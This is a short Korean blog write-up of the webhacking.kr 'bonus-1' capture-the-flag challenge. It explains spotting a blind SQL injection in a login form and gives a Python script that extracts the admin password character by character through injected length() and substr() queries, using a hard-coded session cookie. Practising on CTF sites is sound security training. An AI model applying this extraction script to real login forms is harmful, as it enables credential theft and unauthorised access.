처음 guest 로그인은 로그인 성공으로 뜬다.
admin은 login fail(거짓)로 뜬다.
세 번째로 sql 공격을 해보니 wrong password라고 떴다.
즉, 쿼리문이 성립된다는 것인데(참) id는 amdin으로 하고 pw를 알아내야 한다.
f12(개발자 도구)에서 해당 페이지의 세션을 가져왔다.
참과 거짓일 경우의 반환값이 다르므로 Blind SQL Injection이다.
파이썬으로 코드를 짜주어야 한다.
import requests
stop=0
pw_len=0
pwd=''
url = "https://webhacking.kr/challenge/bonus-1/index.php?"
c = {"cookie":"'PHPSESSID'='qmq2gk5jk67e1luq2g43cflf57'"}
# 비밀번호 길이
for i in range(1,50):
param = url+"id=admin' and length(pw) like {}%23&pw=1".format(i)
res = requests.get(param, cookies=c)
if "wrong password" in res.text:
pw_len = i
print("pw len : {}".format(pw_len))
break
# 비밀번호
for i in range(1, pw_len+1):
for j in range(33,126):
param = url+"id=admin' and ascii(substr(pw,{},1)) like {}%23&pw=1".format(i, j)
res = requests.get(param, cookies=c)
#print(param)
if "wrong password" in res.text:
pwd += chr(j)
print(pwd)
break
한 글자씩 연산하기에 시간이 조금 걸린다.
클리어.
'웹해킹 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] level26 웹해킹 레벨26 (0) | 2019.06.19 |
---|---|
[Webhacking.kr level14] 웹해킹 레벨14 (0) | 2019.06.19 |
[Webhacking.kr] level15 웹해킹 레벨15 (0) | 2019.06.17 |
[Webhacking.kr] level6 웹해킹 레벨6 (0) | 2019.06.17 |
[Webhacking.kr] level4 웹해킹 레벨4 (0) | 2019.06.16 |